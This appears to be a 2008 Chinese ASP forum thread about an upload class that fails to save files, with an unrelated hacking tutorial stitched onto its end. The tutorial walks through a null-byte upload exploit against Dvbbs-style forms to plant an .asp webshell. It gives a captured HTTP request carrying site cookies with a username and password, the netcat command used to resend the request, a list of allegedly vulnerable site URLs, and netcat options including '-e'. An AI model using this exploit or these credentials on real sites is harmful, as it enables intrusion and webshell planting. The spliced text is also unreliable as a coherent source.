无惧上传类v2.2的上传问题

erdong988 2008-11-24 05:54:40
实现上传自定义头像功能,相关代码如下:
运行没有错误提示,点击上传后 显示上传成功字样,及保存路径:
“路径:E:\www\baspub\userheadpic\2008112417364516.gif 上传成功!”
路径也没问题,但是对应文件夹内并未增加文件...
到底是什么原因?


<!--#include file="upfile_class.asp"-->
<%
const SaveUpFilesPath="userheadpic" '上传保存路径(当前文件夹下的文件夹名)
set upfile=new upfile_class ''建立上传对象
upfile.NoAllowExt="asp;asa;exe;htm;html;aspx;cs;vb;js;cer;cdx;" '设置上传类型的黑名单
upfile.GetData (10240000) '取得上传数据,限制最大上传10M
if upfile.iserr > 0 then '如果出错
select case upfile.iserr
case 1
response.write "请先选择你要上传的文件!"
case 2
response.write "你上传的文件总大小超出了最大限制(10M)"
end select
response.end
end if

SavePath = Server.mappath(".") & "\" & SaveUpFilesPath
if right(SavePath,1)<>"\" then SavePath=SavePath&"\" '在目录后加(\)

for each formName in upfile.file '列出所有上传了的文件

set ofile=upfile.file(formName) '生成一个文件对象
fileExt=lcase(ofile.FileExt)
strJS="<SCRIPT language=javascript>" & vbcrlf
if FoundErr<>true then
randomize
ranNum=int(900*rnd)+100
filename=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
upfile.SaveToFile formname,SavePath & filename '保存文件
response.write "路径:" & SavePath & filename
response.write " 上传成功!"
strJS=strJS & "parent.document.uploadpic.UserPhoto.value='"& SaveUpFilesPath & "\" & fileName & "';" & vbcrlf
else
strJS=strJS & "alert('" & msg & "');" & vbcrlf
strJS=strJS & "history.go(-1);" & vbcrlf
end if
strJS=strJS & "</script>" & vbcrlf
response.write strJS
set ofile=nothing
next
set upfile=nothing
...全文
172 3 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
3 条回复
切换为时间正序
请发表友善的回复…
发表回复
erdong988 2008-11-24
  • 打赏
  • 举报
回复
问题已解决,确实是那个"."的问题
之前文件夹名为“www.xxx.com”时,发现根目录下多出个 www.jpg 文件。。。
这也该算该上传类的一个小bug吧
erdong988 2008-11-24
  • 打赏
  • 举报
回复
更正:
“路径:E:\www.xxx.com\baspub\userheadpic\2008112417364516.gif 上传成功!”
在根目录下发现文件,估计是这个“.”的问题。。。
sy_binbin 2008-11-24
  • 打赏
  • 举报
回复


upfile.SaveToFile Server.MapPath(SavePath & filename) '保存文件
上传漏洞终结篇 一、写在前面 ***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本*** NC(Netcat)   用于提交数据包   DOS界面下运行:   NC -vv www.***.com 80<1.txt   -vv: 回显   80: www端口   1.txt: 就是你要发送的数据包  (更多使用方法请查看本区的帖子) WSE(WSockExpert)   对本机端口的监视,抓取IE提交的数据包  (不会用的就自己到网上搜资料N多) 二、漏洞原理 下面例子假设的前提 www主机: www.***.com; bbs路径 : /bbs/ 漏洞源于对动网上传文件的研究,建议有一定编程经验的 看看Dvbbs的upfile.asp文件,没有必要全部看懂 upfile是通过生成一个form表上传,如下
用到的变量: filepath 默认值uploadface 属性hiden act   默认值upload   属性hiden file1  就是你要传的那个文件 关键是 filepath 这个变量! 默认情况下我们的文件上传到www.***.com/bbs/uploadface/ 文件是用你的上传时间命名的,就是upfile里的这一句 FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&FileExt ------------------------------------------------------------------------- 我们知道计算机里面的数据是一"\0"为标致的用过C语言的都知道 char data[]="bbs" 这个data数组长度是4: b b s \0 如果我们构造filepath如下,会怎么样呢? filepath="/newmm.asp\0" 我们在2004.09.24.08.24传的文件就会发生变化 没有改时: http://www.***.com/bbs/uploadface/200409240824.jpg 用我们构造的filepath时: http://www.***.com/newmm.asp\0/200409240824.jpg 这样当服务器接收filepath数据时,检测到newmm.asp后面的\0 就理解为filepath的数据就结束了 这样我们上传的文件,比如c:\1.asp 就保存成: http://www.***.com/newmm.asp 三、后期补充 漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行 有很多网站只是加了N个hiden属性的变量对付网上公布的upfile.exe就是那个 上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。 而且很对网站的插件里有似的漏洞,我要说的不要依赖哪些专门的工具 自己改WSE抓到的包里的filepath变量,然后在用NC提交。。。 就算他加N个hiden变量也于事无补。 当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结 就是我们的新理论诞生的时候! 四、漏洞列表 http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5369http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5530http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5531http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5693http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5731http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5746 监听外部主机     NC [-options] hostname port[s] [ports] ... 监听本地主机     NC -l -p port [options] [hostname] [port] options:     -d       detach from console, stealth mode     -e prog     inbound program to exec [dangerous!!]     -g gateway   source-routing hop point[s], up to 8     -G num     source-routing pointer: 4, 8, 12, ...     -h       this cruft     -i secs     delay interval for lines sent, ports scanned     -l       listen mode, for inbound connects     -L       listen harder, re-listen on socket close     -n       numeric-only IP addresses, no DNS     -o file     hex dump of traffic     -p port     local port number     -r       randomize local and remote ports     -s addr     local source address     -t       answer TELNET negotiation     -u       UDP mode     -v       verbose [use twice to be more verbose]     -w secs     timeout for connects and final net reads     -z       zero-I/O mode [used for scanning] port numbers can be individual or ranges: m-n [inclusive] 详细实例: --------------------------------------------------------------------------------- 一、WSE抓包结果(存到1.txt里): POST /bbs/upPhoto/upfile.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://www.xin126.com/bbs/upPhoto/upload.asp Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d423a138d0278 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322) Host: www.xin126.com Content-Length: 1969 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF; isCome=1; GAMVANCOOKIES=1; regTime=2004%2D9%2D24+3%3A39%3A37; username=szjwwwww; pass=5211314; dl=0; userID=62; ltStyle=0; loginTry=1; userPass=eb03f6c72908fd84 -----------------------------7d423a138d0278 Content-Disposition: form-data; name="filepath" ../medias/myPhoto/ -----------------------------7d423a138d0278 ... ... 上传 -----------------------------7d423a138d0278-- --------------------------------------------------------------------------------- 二、UltraEdit打开1.txt改数据: ...... -----------------------------7d423a138d0278 Content-Disposition: form-data; name="filepath" /newmm.asp█         <===这个黑色代表一个空格是 0x20,改成0x00就可以了 ...... --------------------------------------------------------------------------------- 三、重新计算cookies长度,然后nc提交 Nc -vv www.xin126.com 80 <1.txt UltraEdit是一个16位编辑器网上可以下载得到 我们主要用来写那个结束标致: \0 ====>16位表示:0x00或者00H 其实你改的时候就直接再filepath的结尾处加个00就OK了 计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了 ...... Host: www.xin126.com Content-Length: 1969 <======就是这个 Connection: Keep-Alive Cache-Control: no-cache ...... 计算会吧?一个字母、数字就是1 对于上传漏洞提出的解决思路:(仅供参考) 1、一般的上传是把上传路径作为一个变量来处理 ===>我们的对策就是把filepath变成常量。。。 这个方法是目前最有效的(我认为的) 2、加强对于\0的处理,原来我们是读到这里就结束 我们继续读直道下一个变量开始的地方,处理就OK了

28,409

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧